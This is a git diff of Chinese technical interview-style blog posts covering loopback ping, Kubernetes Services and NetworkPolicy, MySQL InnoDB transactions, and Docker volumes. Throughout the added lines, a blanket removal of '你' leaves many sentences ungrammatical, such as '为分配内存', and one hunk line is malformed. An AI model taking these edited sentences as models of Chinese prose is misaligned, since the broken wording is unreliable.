-如果你ping本地的IP地址（通常称为本地回环地址，对于IPv4来说是127.0.0.1，有时候也简称为localhost），以下事情会发生： +如果ping本地的IP地址（通常称为本地回环地址，对于IPv4来说是127.0.0.1，有时候也简称为localhost），以下事情会发生： 快速响应: 因为数据包在本地系统中循环，它不需要经过任何外部网络或物理设备。因此，响应时间通常非常短，通常只有几毫秒。 -不涉及物理网络设备: 该数据包不会通过你的网络卡或任何其他网络设备。它仅仅在你的操作系统内部循环。 +不涉及物理网络设备: 该数据包不会通过的网络卡或任何其他网络设备。它仅仅在的操作系统内部循环。 -故障排除: ping本地IP地址或localhost是网络故障排除的一个常见步骤。如果你无法ping通其他系统，但可以ping通localhost，那么这表示你的网络堆栈是工作的，问题可能出在其他地方。 +故障排除: ping本地IP地址或localhost是网络故障排除的一个常见步骤。如果无法ping通其他系统，但可以ping通localhost，那么这表示的网络堆栈是工作的，问题可能出在其他地方。 不仅仅是IPv4: 对于IPv6，本地回环地址是::1。 -总之，ping本地IP地址可以验证你的系统的网络堆栈是否正常工作，而不涉及任何外部因素。 +总之，ping本地IP地址可以验证的系统的网络堆栈是否正常工作，而不涉及任何外部因素。 > 什么是MTU，为什么它对网络性能有影响？ @@ -727,7 +727,7 @@ Kubernetes的`Service`是一种抽象，它定义了访问Pod的方法，无论 1. **提供固定的IP地址** - 当你创建一个Service时，Kubernetes的控制平面会为Service分配一个固定的虚拟IP地址，这个IP称为Cluster IP（对于`ClusterIP`类型的Service）。这个IP不直接绑定到任何节点或Pod上，而是由kube-proxy进程在每个节点上使用iptable规则或ipvs进行管理，从而使得这个IP可以在整个集群内部使用。 + 当创建一个Service时，Kubernetes的控制平面会为Service分配一个固定的虚拟IP地址，这个IP称为Cluster IP（对于`ClusterIP`类型的Service）。这个IP不直接绑定到任何节点或Pod上，而是由kube-proxy进程在每个节点上使用iptable规则或ipvs进行管理，从而使得这个IP可以在整个集群内部使用。 2. **负载均衡和请求分发** @@ -764,9 +764,9 @@ Kubernetes的`Service`是一种抽象，它定义了访问Pod的方法，无论 因此，通过监听Kubernetes API的`Service`和`Endpoints`资源变化并维护和更新转发规则，`kube-proxy`确保了流量可以从`Service`的`ClusterIP`正确地转发到满足Service选择器标签的Pod。 -是的，确切地说，`kube-proxy`会解析与`Service`相关联的`Endpoints`对象来获得Pod的IP地址。当你创建一个`Service`时，Kubernetes会自动创建一个与之相关联的`Endpoints`对象。这个`Endpoints`对象包含了匹配`Service`选择器标签的所有Pod的IP地址。 +是的，确切地说，`kube-proxy`会解析与`Service`相关联的`Endpoints`对象来获得Pod的IP地址。当创建一个`Service`时，Kubernetes会自动创建一个与之相关联的`Endpoints`对象。这个`Endpoints`对象包含了匹配`Service`选择器标签的所有Pod的IP地址。 -例如，如果你有一个`Service`定义如下： +例如，如果有一个`Service`定义如下： ```yaml apiVersion: v1 @@ -782,7 +782,7 @@ spec: targetPort: 8080 ``` -并且你有两个Pod，标签`app=MyApp`，IP分别为`10.0.1.1`和`10.0.1.2`。 +并且有两个Pod，标签`app=MyApp`，IP分别为`10.0.1.1`和`10.0.1.2`。 在这种情况下，与此`Service`关联的`Endpoints`对象可能看起来像这样： @@ -819,7 +819,7 @@ subsets: > 在Kubernetes中，确定把一个请求发送给哪个Service是基于一系列的规则和配置来实现的。以下是这个过程的详解： 1. **Service和其Cluster IP**： - 当你创建一个Service时，该Service会被分配一个所谓的`Cluster IP`。这是一个虚拟的IP，不直接绑定到任何物理节点上。这个IP和Service的名字在Kubernetes的内部DNS中进行了映射，由CoreDNS或kube-dns提供。 + 当创建一个Service时，该Service会被分配一个所谓的`Cluster IP`。这是一个虚拟的IP，不直接绑定到任何物理节点上。这个IP和Service的名字在Kubernetes的内部DNS中进行了映射，由CoreDNS或kube-dns提供。 2. **DNS解析**： 当在集群内部的一个Pod尝试访问一个Service时，通常使用Service的DNS名（例如`my-service.my-namespace.svc.cluster.local`）。这个DNS查询会返回Service的Cluster IP。 @@ -831,10 +831,10 @@ subsets: 在每个节点上运行的`kube-proxy`组件会监听Service和Endpoints的变化。对于每个Service，`kube-proxy`设置了Iptables/Nftables规则（或者使用IPVS模式），使得发往Cluster IP的流量被正确地转发到后端Pod之一。 5. **选择后端Pod**： - 一旦流量到达了Cluster IP，基于`kube-proxy`设置的规则，流量会被转发到后端Pod之一。默认的负载均衡策略是轮询，但是如果使用IPVS，你可以选择其他的负载均衡算法。 + 一旦流量到达了Cluster IP，基于`kube-proxy`设置的规则，流量会被转发到后端Pod之一。默认的负载均衡策略是轮询，但是如果使用IPVS，可以选择其他的负载均衡算法。 6. **负载均衡器或Ingress**： - 如果你在外部访问集群中的Service，可能会使用LoadBalancer类型的Service或者Ingress资源。这些组件会有自己的方法来确定流量应该被发送到哪个Service。例如，LoadBalancer Service可能有一个外部IP或DNS名，而Ingress则基于HTTP请求的路径或主机头来路由流量。 + 如果在外部访问集群中的Service，可能会使用LoadBalancer类型的Service或者Ingress资源。这些组件会有自己的方法来确定流量应该被发送到哪个Service。例如，LoadBalancer Service可能有一个外部IP或DNS名，而Ingress则基于HTTP请求的路径或主机头来路由流量。 简而言之，Kubernetes使用了Service的Cluster IP，结合`kube-proxy`设置的网络规则，来确定 @@ -904,7 +904,7 @@ etcd的数据一致性的重要性： 避免脑裂: 在分布式系统中，特别是在网络分区时，强一致性防止了集群的脑裂现象，这是一个节点或节点子集与主集群断开连接的情况。 -kube-apiserver与etcd: kube-apiserver是与etcd直接交互的主要Kubernetes组件。当你使用kubectl命令或API请求创建、更新或删除Kubernetes资源时，kube-apiserver会将这些更改写入etcd。同样，当你查询资源状态时，kube-apiserver会从etcd读取这些数据。 +kube-apiserver与etcd: kube-apiserver是与etcd直接交互的主要Kubernetes组件。当使用kubectl命令或API请求创建、更新或删除Kubernetes资源时，kube-apiserver会将这些更改写入etcd。同样，当查询资源状态时，kube-apiserver会从etcd读取这些数据。 其他组件: 其他Kubernetes组件（如kube-controller-manager、kube-scheduler）通过kube-apiserver与etcd交互，而不是直接访问etcd。 @@ -1041,7 +1041,7 @@ API扩展：操作器通常与CRDs一起使用，以为Kubernetes添加新的资 自定义资源定义 (CRD)： -操作器通常伴随一个或多个CRDs部署。CRD允许你在Kubernetes中定义新的资源类型。一旦CRD被创建，用户可以像使用内置资源那样使用这些自定义资源（例如：使用kubectl命令）。 +操作器通常伴随一个或多个CRDs部署。CRD允许在Kubernetes中定义新的资源类型。一旦CRD被创建，用户可以像使用内置资源那样使用这些自定义资源（例如：使用kubectl命令）。 自定义控制循环： 操作器的核心是一个自定义的控制循环，该循环不断地检查与其相关的自定义资源的状态。当资源的当前状态与其声明的状态不一致时，操作器会采取必要的行动来调整状态。 @@ -1063,7 +1063,7 @@ API Server交互： > 创建和应用一个Kubernetes操作器来处理备份、恢复、容灾等任务是一个复杂的过程。下面是一个简化的概述： 定义自定义资源 (Custom Resource, CR): -确定你的操作器需要管理哪些自定义资源，例如 Backup, Restore, DisasterRecovery。 +确定的操作器需要管理哪些自定义资源，例如 Backup, Restore, DisasterRecovery。 为每种资源定义CRD（Custom Resource Definition）。 编写操作器逻辑: @@ -1159,7 +1159,7 @@ roleRef: 在默认情况下，Pod之间的通信不会受到任何限制。任何Pod都可以与其他所有Pod通信。 网络策略资源: -当你创建一个网络策略后，只有与该策略匹配的流量才会被允许。 +当创建一个网络策略后，只有与该策略匹配的流量才会被允许。 其他所有未被明确允许的流量都会被阻止。 策略类型: @@ -1181,7 +1181,7 @@ Pod间的网络隔离: 这实现了一个“默认拒绝，明确允许”的模式。 实例: -例如，你可能想要创建一个网络策略，只允许来自同一Namespace中带有特定标签的Pod的流量进入一个应用。 +例如，可能想要创建一个网络策略，只允许来自同一Namespace中带有特定标签的Pod的流量进入一个应用。 首先创建一个默认拒绝所有进入流量的网络策略： @@ -1201,7 +1201,7 @@ spec: 在上述YAML中，podSelector 是空的，表示该策略适用于该Namespace下的所有Pod。只指定了 Ingress 的 policyTypes，意味着该策略只会影响进入Pod的流量。 创建一个策略，允许带有特定标签的Pod的流量进入应用： -假设你的应用Pod有一个标签 app=my-application，而你想要允许带有标签 access=my-application 的Pod访问它。 +假设的应用Pod有一个标签 app=my-application，而想要允许带有标签 access=my-application 的Pod访问它。 ```yaml apiVersion: networking.k8s.io/v1 kind: NetworkPolicy @@ -1218,8 +1218,8 @@ spec: matchLabels: access: my-application ``` -在上述YAML中，外层的 podSelector 选择了你想要应用此策略的Pod（即你的应用），而 ingress 部分定义了允许的流量来源。在这个例子中，我们允许带有 access=my-application 标签的Pod访问我们的应用。 -通过上述两个策略，你首先默认拒绝了所有进入流量，然后明确允许了带有特定标签的Pod进入。这就是“默认拒绝，明确允许”的策略模式。 +在上述YAML中，外层的 podSelector 选择了想要应用此策略的Pod（即的应用），而 ingress 部分定义了允许的流量来源。在这个例子中，我们允许带有 access=my-application 标签的Pod访问我们的应用。 +通过上述两个策略，首先默认拒绝了所有进入流量，然后明确允许了带有特定标签的Pod进入。这就是“默认拒绝，明确允许”的策略模式。 总之，Kubernetes的网络策略为集群管理员和开发者提供了一种工具，用于微调Pod间和外部系统与Pod之间的网络通信。这增加了安全性，使得可以在细粒度上控制和限制Pod之间的通信。 @@ -1249,7 +1249,7 @@ Kubernetes寻找一个与PVC要求匹配的PV。如果找到，它会将PV绑定 这种分离的概念（PV和PVC）允许存储和消费存储之间的解耦，使得用户可以请求存储而不必关心底层的具体实现。 -> 请解释Kubernetes的调度器是如何工作的。你如何使用亲和性和反亲和性规则来指导Pod在特定的Node上进行调度？ +> 请解释Kubernetes的调度器是如何工作的。如何使用亲和性和反亲和性规则来指导Pod在特定的Node上进行调度？ 过滤阶段： 当一个新的Pod需要被调度时，调度器首先会过滤掉那些不满足Pod要求的节点。例如，如果Pod规定了一个特定的硬件要求，那么不满足这些要求的节点会被过滤掉。 @@ -1268,11 +1268,11 @@ Pod亲和性： Pod反亲和性： 确保一组Pod不会被调度到一起。 -示例：对于高可用应用，你可能不希望同一个应用的两个实例在同一个节点上。 +示例：对于高可用应用，可能不希望同一个应用的两个实例在同一个节点上。 使用亲和性和反亲和性规则： -在Pod的spec中，你可以使用affinity字段来指定这些规则。例如： +在Pod的spec中，可以使用affinity字段来指定这些规则。例如： ```yaml apiVersion: v1 kind: Pod @@ -1397,7 +1397,7 @@ LoadBalancer: 总结：ClusterIP 是为内部通信 生命周期和钩子： -> 当一个Pod在Kubernetes中启动或终止时，你可以使用哪些生命周期钩子来进行自定义操作？ +> 当一个Pod在Kubernetes中启动或终止时，可以使用哪些生命周期钩子来进行自定义操作？ 自动扩缩： Kubernetes如何实现Pod的自动扩缩？描述Horizontal Pod Autoscaler的工作原理。 diff --git a/_posts/2023-10-12-test-markdown.md b/_posts/2023-10-12-test-markdown.md index 12168aa1483f..2a5e8089142e 100644 --- a/_posts/2023-10-12-test-markdown.md +++ b/_posts/2023-10-12-test-markdown.md @@ -69,10 +69,10 @@ comments: true 0.4 x 2 = 0.8 => 0 0.8 x 2 = 1.6 => 1 0.6 x 2 = 1.2 => 1 -取整数部分（1）并使用余数（0.2）继续操作，你会发现我们回到了0.2，这意味着这个过程会无限重复。 +取整数部分（1）并使用余数（0.2）继续操作，会发现我们回到了0.2，这意味着这个过程会无限重复。 ``` -> 你能解释二进制补码表示法是如何工作的吗，并为什么我们选择使用它？ +> 能解释二进制补码表示法是如何工作的吗，并为什么我们选择使用它？ 补码是计算机中表示有符号整数的一种方式。它的基本思想是使用最高位（通常称为符号位）来表示符号：0 表示正，1 表示负。其余位表示数的绝对值。对于负数，其补码表示是其绝对值的二进制补数。 @@ -115,9 +115,9 @@ _add: addl 12(%esp), %eax ; Add the value of b to eax ret ; Return with the result in eax ``` -这只是一个简化的例子，实际的输出取决于编译器、目标机器、优化等级等多种因素。但这可以给你一个关于C函数如何被转换为汇编语言的基本概念。 +这只是一个简化的例子，实际的输出取决于编译器、目标机器、优化等级等多种因素。但这可以给一个关于C函数如何被转换为汇编语言的基本概念。 -> 你可以解释函数调用的过程中"calling convention"是如何工作的吗？ +> 可以解释函数调用的过程中"calling convention"是如何工作的吗？ 调用约定" (calling convention) 是编程时用于规定函数如何传递参数、如何返回结果以及如何在函数调用期间管理栈和寄存器的规定。 @@ -384,7 +384,7 @@ Go的标准库并没有提供死锁检测功能，但在开发模式下，Go的 返回指针：malloc返回一个指针，该指针指向分配块的第一个字节，不包括前面的元数据区域。 -初始化内存：malloc不会初始化分配的内存块。这意味着这块内存中的数据是未定义的。如果你需要一个已经初始化的内存块，可以使用calloc，它会为你分配内存并将其初始化为零。 +初始化内存：malloc不会初始化分配的内存块。这意味着这块内存中的数据是未定义的。如果需要一个已经初始化的内存块，可以使用calloc，它会为分配内存并将其初始化为零。 堆扩展：如果堆中没有足够的空闲空间来满足malloc的请求，操作系统可能会被要求增加堆的大小。这通常通过brk或mmap系统调用完成。 @@ -473,11 +473,11 @@ B树索引: 查找效率: 对于点查询，哈希索引通常具有O(1)的查找效率，但在哈希冲突较多的情况下，效率可能会降低。 应用场景: 适用于高速点查询。不适用于范围查询或需要排序的场景，因为哈希索引不保留关键字的顺序。 -> 当使用`EXPLAIN`命令时，你期望看到哪些关键输出？它们如何帮助你优化查询？ +> 当使用`EXPLAIN`命令时，期望看到哪些关键输出？它们如何帮助优化查询？ 使用EXPLAIN命令的关键输出: -当你使用EXPLAIN命令（例如在MySQL中）分析查询时，可能会看到以下关键输出： +当使用EXPLAIN命令（例如在MySQL中）分析查询时，可能会看到以下关键输出： type: 显示了用于检索行的方法，如“const”（直接查找）、“ref”（通过引用查找）、“range”（范围查找）、“full table scan”等。 possible_keys: 显示可能使用的索引。 @@ -487,12 +487,12 @@ rows: 估计需要检查的行数。 Extra: 提供查询的额外信息，如是否使用了文件排序或是否进行了索引查找。 如何帮助优化查询: -通过EXPLAIN的输出，你可以确定： +通过EXPLAIN的输出，可以确定： 是否选择了最优索引。 是否需要创建新的索引。 查询是否进行了全表扫描，这通常会降低查询性能。 是否存在其他可能的优化点，如不必要的文件排序等。 -通过这些信息，你可以调整查询结构或数据库结构来获得更好的性能。 +通过这些信息，可以调整查询结构或数据库结构来获得更好的性能。 in type: 显示了用于检索行的方法，如“const”（直接查找）、“ref”（通过引用查找）、“range”（范围查找）、“full table scan”等。 possible_keys: 显示可能使用的索引。 @@ -502,7 +502,7 @@ rows: 估计需要检查的行数。 Extra: 提供查询的额外信息，如是否使用了文件排序或是否进行了索引查找。 -> 描述InnoDB和MyISAM的主要差异。你通常在哪些场景下使用它们？解释InnoDB的MVCC并发控制是如何工作的。 +> 描述InnoDB和MyISAM的主要差异。通常在哪些场景下使用它们？解释InnoDB的MVCC并发控制是如何工作的。 事务支持: InnoDB: 支持事务（ACID兼容）。它使用行级锁来支持并发事务，并提供了提交、回滚等事务相关的操作。 @@ -550,9 +550,9 @@ MVCC，即多版本并发控制，是InnoDB用于实现隔离级别的一种技 具体来说： MVCC通过在每个行记录后面保存两个隐藏的列来实现，这两个隐藏的列分别是：创建版本号（CREATED）和删除版本号（DELETED）。这两个版本号对应的是事务的版本号，即事务ID。每开始一个新的事务，事务ID就会自动递增。 -MVCC，即多版本并发控制，是由数据库系统自身实现的，并不需要在业务程序层面进行任何特别的处理。具体来说，当你在InnoDB中执行一个事务时，InnoDB会自动为这个事务创建一个独特的事务ID，并使用这个ID来处理数据行的版本控制。 +MVCC，即多版本并发控制，是由数据库系统自身实现的，并不需要在业务程序层面进行任何特别的处理。具体来说，当在InnoDB中执行一个事务时，InnoDB会自动为这个事务创建一个独特的事务ID，并使用这个ID来处理数据行的版本控制。 -在你执行SELECT语句时，InnoDB会根据MVCC的规则来决定哪些行是可见的，也就是说哪些行的数据是属于你这个事务的一致性视图的。当你执行INSERT、UPDATE或DELETE操作时，InnoDB也会根据MVCC的规则来更新数据行的版本信息。 +在执行SELECT语句时，InnoDB会根据MVCC的规则来决定哪些行是可见的，也就是说哪些行的数据是属于这个事务的一致性视图的。当执行INSERT、UPDATE或DELETE操作时，InnoDB也会根据MVCC的规则来更新数据行的版本信息。 总的来说，MVCC是由InnoDB内部实现并自动处理的，它能在提高并发性能的同时，保证事务的隔离性和一致性。这对于业务程序来说是透明的，也就是说业务程序不需要知道数据库是如何通过MVCC来处理并发事务的。 @@ -576,13 +576,13 @@ InnoDB的事务回滚是基于其多版本并发控制(MVCC)和写前日志(Writ 需要注意的是，回滚操作是一个代价较高的操作，尤其是当事务包含大量的数据更改时。因此，在设计应用时，应该尽量确保事务的原子性，避免不必要的回滚。 -## 那么就请你举例：假如我要 开启事务 然后 update tbl_user set name="newName" where id =1 最后回滚 ，请你按照实际MYSQL 处理的顺序一步一步说说这个过程中都发生了什么？ +## 那么就请举例：假如我要 开启事务 然后 update tbl_user set name="newName" where id =1 最后回滚 ，请按照实际MYSQL 处理的顺序一步一步说说这个过程中都发生了什么？ -当你在MySQL的InnoDB存储引擎中执行上述操作时，以下是详细的步骤和发生的事件： +当在MySQL的InnoDB存储引擎中执行上述操作时，以下是详细的步骤和发生的事件： 开始事务: 通过命令 START TRANSACTION; 或 BEGIN; 开启一个新的事务。此时，InnoDB会创建一个新的事务ID。 -锁定行: 当你执行UPDATE tbl_user SET name="newName" WHERE id=1; 语句时，InnoDB会尝试获取对应行（id=1的那行）的排他锁。如果其他事务没有锁定这一行，那么锁会被立即授予。 +锁定行: 当执行UPDATE tbl_user SET name="newName" WHERE id=1; 语句时，InnoDB会尝试获取对应行（id=1的那行）的排他锁。如果其他事务没有锁定这一行，那么锁会被立即授予。 写前日志 (WAL): 更改先不直接写入数据文件，而是写入重做日志（redo log）。这确保了系统崩溃后，可以通过redo log恢复数据。 @@ -590,7 +590,7 @@ InnoDB的事务回滚是基于其多版本并发控制(MVCC)和写前日志(Writ 执行更新: 在内存中的缓冲池中，对应的行数据被更新为name="newName"。 -回滚事务: 如果你执行了ROLLBACK;命令，InnoDB会开始回滚进程。 +回滚事务: 如果执行了ROLLBACK;命令，InnoDB会开始回滚进程。 使用Undo Log进行回滚: InnoDB会查找与该事务相关的undo log记录。找到id=1这一行的原始name值，并在内存中的缓冲池中将其恢复。 @@ -602,7 +602,7 @@ InnoDB的事务回滚是基于其多版本并发控制(MVCC)和写前日志(Writ 这就是在InnoDB存储引擎中执行上述操作时所发生的详细步骤。不过，实际上在数据库内部，可能还有很多其他的微观操作和优化。但这应该提供了一个高层次的、逐步的视图。 -> 服务器优化**:你如何确定MySQL服务器的最佳配置？描述一些常见的MySQL性能瓶颈及其解决方法。 +> 服务器优化**:如何确定MySQL服务器的最佳配置？描述一些常见的MySQL性能瓶颈及其解决方法。 如何确定MySQL服务器的最佳配置: @@ -664,7 +664,7 @@ Docker Swarm：Docker的原生集群管理和编排工具。 Docker Client 和 Docker Daemon： -当你执行如 docker run 这样的命令时，你实际上是在与Docker客户端进行交互。 +当执行如 docker run 这样的命令时，实际上是在与Docker客户端进行交互。 Docker客户端将这个命令转发给Docker守护进程（Daemon），守护进程是真正管理容器的组件。 Docker Image： @@ -687,16 +687,16 @@ Docker使用了一种称为“Union File System”（联合文件系统）的技 镜像层： -当你创建一个Docker镜像，每一个指令（例如，每一行Dockerfile中的命令）都会创建一个新的层。这些层是只读的。 -例如，当你从一个基础镜像安装软件或添加文件时，每个这样的操作都会在现有的层上添加一个新的只读层。 +当创建一个Docker镜像，每一个指令（例如，每一行Dockerfile中的命令）都会创建一个新的层。这些层是只读的。 +例如，当从一个基础镜像安装软件或添加文件时，每个这样的操作都会在现有的层上添加一个新的只读层。 容器层： -当你从一个Docker镜像启动一个容器时，Docker会在这些只读的镜像层的顶部添加一个可写层，称为“容器层”。 +当从一个Docker镜像启动一个容器时，Docker会在这些只读的镜像层的顶部添加一个可写层，称为“容器层”。 所有对容器的文件系统的修改（例如，写入新文件、修改现有文件、删除文件等）都会在这个可写层中进行。 隔离和持久性： 由于容器层是独立于基础镜像层的，所以容器内的任何更改都不会影响基础镜像或其他从同一镜像启动的容器。 -但是，这个容器层是临时的。当容器被删除时，这个层也会被删除，除非你提交这些更改为一个新的镜像。 +但是，这个容器层是临时的。当容器被删除时，这个层也会被删除，除非提交这些更改为一个新的镜像。 存储驱动： Docker支持多种联合文件系统，如Overlay2、aufs、btrfs、zfs等。这些都被称为“存储驱动”。不同的存储驱动可能有不同的性能和功能特点。 @@ -704,7 +704,7 @@ Overlay2是Docker的推荐存储驱动，因为它提供了良好的性能和稳 数据卷和绑定挂载： 虽然容器层是临时的，但Docker提供了其他方法来持久化存储，如数据卷（volumes）和绑定挂载（bind mounts）。 -这些方法允许你在容器外部存储数据，并在多个容器之间共享数据。 +这些方法允许在容器外部存储数据，并在多个容器之间共享数据。 ``` 命名空间和控制组（cgroups）： Docker使用Linux的命名空间来隔离容器的进程、网络、用户和文件系统。 @@ -713,7 +713,7 @@ Docker使用Linux的命名空间来隔离容器的进程、网络、用户和文 PID（进程）命名空间： 这个命名空间确保每个容器都有自己独立的进程空间。这意味着一个容器内的进程不能看到其他容器的进程。 -当Docker启动一个新容器时，容器内的第一个进程（通常是你指定的启动命令）的PID为1，就像它是整个系统的第一个进程一样。 +当Docker启动一个新容器时，容器内的第一个进程（通常是指定的启动命令）的PID为1，就像它是整个系统的第一个进程一样。 NET（网络）命名空间： 每个容器都有自己的网络命名空间，这意味着每个容器都有自己的网络设备、IP地址、路由表等。 @@ -731,7 +731,7 @@ USER（用户）命名空间： MNT（挂载点）命名空间： 这个命名空间确保每个容器都有自己独立的文件系统，由Docker镜像提供。容器可以挂载新的文件系统或修改现有的挂载点，而不会影响其他容器或宿主机。 当Docker启动一个新容器时，它会为该容器创建上述命名空间的新实例。这些命名空间与宿主机和其他容器完全隔离，从而为每个容器提供了一个看似独立的运行环境。 -要使用docker inspect和grep命令查看容器的各种命名空间信息，你可以按照以下步骤操作： +要使用docker inspect和grep命令查看容器的各种命名空间信息，可以按照以下步骤操作： ``` @@ -767,16 +767,16 @@ docker run -v /path/in/container my-image 优点：数据卷可以在多个容器之间共享和重用，支持数据备份、迁移和恢复，而不依赖于容器的生命周期。此外，卷通常存储在高性能的文件系统上，如overlay2，并提供了一致的性能。 绑定挂载（Bind Mounts）： -工作原理：绑定挂载允许你将宿主机上的任何目录或文件挂载到容器中。与数据卷不同，绑定挂载依赖于宿主机的文件系统结构。 -创建和使用：与数据卷类似，你可以在运行容器时使用-v或--volume选项进行绑定挂载，但需要指定宿主机的路径。 +工作原理：绑定挂载允许将宿主机上的任何目录或文件挂载到容器中。与数据卷不同，绑定挂载依赖于宿主机的文件系统结构。 +创建和使用：与数据卷类似，可以在运行容器时使用-v或--volume选项进行绑定挂载，但需要指定宿主机的路径。 docker run -v /path/on/host:/path/in/container my-image -优点和用途：绑定挂载非常适合开发场景，因为它允许你直接在宿主机上修改代码或配置，而这些更改会立即反映到容器中。但它也有缺点，因为它直接依赖于宿主机的文件系统和目录结构，可能导致跨机器的不一致性。 +优点和用途：绑定挂载非常适合开发场景，因为它允许直接在宿主机上修改代码或配置，而这些更改会立即反映到容器中。但它也有缺点，因为它直接依赖于宿主机的文件系统和目录结构，可能导致跨机器的不一致性。 总的来说，数据卷和绑定挂载都提供了将数据持久化和共享到容器外部的能力。选择哪种方法取决于具体的需求和用途。如果需要跨多个Docker宿主机或在不同的环境中保持一致性，数据卷可能是更好的选择。如果需要直接从宿主机访问和修改数据，绑定挂载可能更为合适。 ``` 控制组（cgroups）用于限制和监控容器对系统资源的使用，如CPU、内存和磁盘I/O。 容器启动： -Docker Daemon初始化容器的主进程。这通常是你在Dockerfile中定义的CMD或ENTRYPOINT。 +Docker Daemon初始化容器的主进程。这通常是在Dockerfile中定义的CMD或ENTRYPOINT。 容器开始运行，直到主进程结束。 日志和监控： @@ -822,12 +822,12 @@ CI/CD流程的理解，包括持续集成、持续交付的工具和最佳实践 > 函数选项模式 -设计模式叫做“函数选项模式”（Functional Options Pattern）。这种模式主要用于构建或配置一个对象时提供灵活性，特别是当对象有许多配置选项，但很多选项都有默认值时。通过使用函数选项，你可以选择性地提供想要自定义的配置，并为其它选项使用默认值。 +设计模式叫做“函数选项模式”（Functional Options Pattern）。这种模式主要用于构建或配置一个对象时提供灵活性，特别是当对象有许多配置选项，但很多选项都有默认值时。通过使用函数选项，可以选择性地提供想要自定义的配置，并为其它选项使用默认值。 这种模式的主要优势是： 可读性：在调用时，函数名清晰地描述了正在设置的配置选项。 -扩展性：随着时间的推移，如果你想要添加更多的配置选项，只需添加新的函数即可，而无需修改现有的函数或结构。 +扩展性：随着时间的推移，如果想要添加更多的配置选项，只需添加新的函数即可，而无需修改现有的函数或结构。 强类型：每个选项函数可以要求特定的参数类型，从而提供类型安全。 默认值：只需设置需要的选项，其它选项可以保留其默认值。 该模式通常与构建者模式相结合，但主要区别在于它使用函数来设置选项，而不是链式的方法调用。 diff --git a/_posts/2023-10-13-test-markdown.md b/_posts/2023-10-13-test-markdown.md index c22dee0b3e34..da1109d6a42f 100644 --- a/_posts/2023-10-13-test-markdown.md +++ b/_posts/2023-10-13-test-markdown.md @@ -21,7 +21,7 @@ Union File System（联合文件系统）是一种轻量级、可堆叠的文件 现在，让我们深入了解CoW策略： -初始状态：当你启动一个容器，容器的文件系统看起来就像一个完整的、单一的文件系统，但实际上它是由多个只读层和一个可写层组合而成的。 +初始状态：当启动一个容器，容器的文件系统看起来就像一个完整的、单一的文件系统，但实际上它是由多个只读层和一个可写层组合而成的。 读操作：当容器读取一个文件时，它会从最上面的层开始查找，然后逐层向下，直到找到该文件。因为所有的修改都在最上面的可写层，所以这确保了容器总是看到最新版本的文件。 @@ -42,13 +42,13 @@ Union File System（联合文件系统）是一种轻量级、可堆叠的文件 Docker镜像是一个轻量级、独立的、可执行的软件包，它包含运行应用所需的所有内容：代码、运行时、系统工具、系统库和设置。镜像是不可变的，即它们一旦被创建就不能被修改。 -容器则是Docker镜像的运行实例。当你启动一个容器时，Docker会在镜像的最上层添加一个薄的可写层（称为“容器层”）。所有对容器的修改（例如写入新文件、修改文件等）都会在这个可写层中进行，而不会影响下面的只读镜像层。 +容器则是Docker镜像的运行实例。当启动一个容器时，Docker会在镜像的最上层添加一个薄的可写层（称为“容器层”）。所有对容器的修改（例如写入新文件、修改文件等）都会在这个可写层中进行，而不会影响下面的只读镜像层。 > 什么是Docker的数据卷（volumes）？它与绑定挂载（bind mounts）有何不同？ 数据卷是Docker宿主机上的特殊目录，它可以绕过联合文件系统并直接挂载到容器中。数据卷是独立于容器的，即使容器被删除，卷上的数据仍然存在并且不会受到容器生命周期的影响。 -绑定挂载则允许你将宿主机上的任何目录或文件挂载到容器中。与数据卷不同，绑定挂载依赖于宿主机的文件系统结构。 +绑定挂载则允许将宿主机上的任何目录或文件挂载到容器中。与数据卷不同，绑定挂载依赖于宿主机的文件系统结构。 主要的区别在于： @@ -60,16 +60,16 @@ Docker镜像是一个轻量级、独立的、可执行的软件包，它包含 > 如何在Docker容器中使用一个已存在的数据卷？ -要在Docker容器中使用一个已存在的数据卷，你可以在运行容器时使用-v或--volume选项来挂载该数据卷。以下是具体的步骤： +要在Docker容器中使用一个已存在的数据卷，可以在运行容器时使用-v或--volume选项来挂载该数据卷。以下是具体的步骤： 查看已存在的数据卷： -首先，你可以使用以下命令查看宿主机上所有的数据卷： +首先，可以使用以下命令查看宿主机上所有的数据卷： ```bash docker volume ls ``` 运行容器并挂载数据卷： -假设你有一个名为myvolume的数据卷，并希望将其挂载到容器的/data目录下，你可以使用以下命令： +假设有一个名为myvolume的数据卷，并希望将其挂载到容器的/data目录下，可以使用以下命令： ```bash docker run -v myvolume:/data @@ -77,12 +77,12 @@ docker run -v myvolume:/data 在上述命令中，myvolume:/data指定了数据卷myvolume应该挂载到容器的/data目录。 使用特定的挂载选项： -如果需要更多的控制，如设置只读权限，你可以使用--mount选项代替-v或--volume。例如，要以只读模式挂载myvolume，你可以这样做： +如果需要更多的控制，如设置只读权限，可以使用--mount选项代替-v或--volume。例如，要以只读模式挂载myvolume，可以这样做： ```bash docker run --mount source=myvolume,target=/data,readonly ``` -通过上述方法，你可以在Docker容器中使用已存在的数据卷，从而实现数据的持久化和共享。 +通过上述方法，可以在Docker容器中使用已存在的数据卷，从而实现数据的持久化和共享。 -v 或 --volume 和 --mount 都可以用来挂载数据卷和绑定挂载，但它们的语法和功能有所不同。 @@ -101,8 +101,8 @@ docker run -v /path/on/host:/path/in/container 关键在于-v或--volume选项的第一个参数： -**如果它是一个宿主机上的路径（通常包含一个/），那么Docker会认为你想进行绑定挂载**。 -**如果它不是一个宿主机上的路径（例如，它不包含/），那么Docker会认为你想挂载一个数据卷。** +**如果它是一个宿主机上的路径（通常包含一个/），那么Docker会认为想进行绑定挂载**。 +**如果它不是一个宿主机上的路径（例如，它不包含/），那么Docker会认为想挂载一个数据卷。** --mount： @@ -118,7 +118,7 @@ docker run --mount type=bind,source=/path/on/host,target=/path/in/container 描述Docker的存储驱动。你有使用过哪些存储驱动？它们之间有何主要差异？ +> 描述Docker的存储驱动。有使用过哪些存储驱动？它们之间有何主要差异？ Docker的存储驱动是用于实现其联合文件系统的组件。联合文件系统允许Docker在容器和镜像中高效地管理文件和目录。不同的存储驱动可能会有不同的性能和功能特点。 @@ -166,7 +166,7 @@ vfs： 备份数据卷： 使用docker cp命令： -这是一个简单的方法，允许你从容器复制文件或目录。 +这是一个简单的方法，允许从容器复制文件或目录。 ```bash docker run --rm -v myvolume:/volume -v /tmp:/backup ubuntu tar cvf /backup/myvolume.tar /volume @@ -175,7 +175,7 @@ docker run --rm -v myvolume:/volume -v /tmp:/backup ubuntu tar cvf /backup/myvol 恢复数据卷： 使用docker cp命令： -这也是一个简单的方法，允许你将文件或目录复制到容器中。 +这也是一个简单的方法，允许将文件或目录复制到容器中。 ```shell # 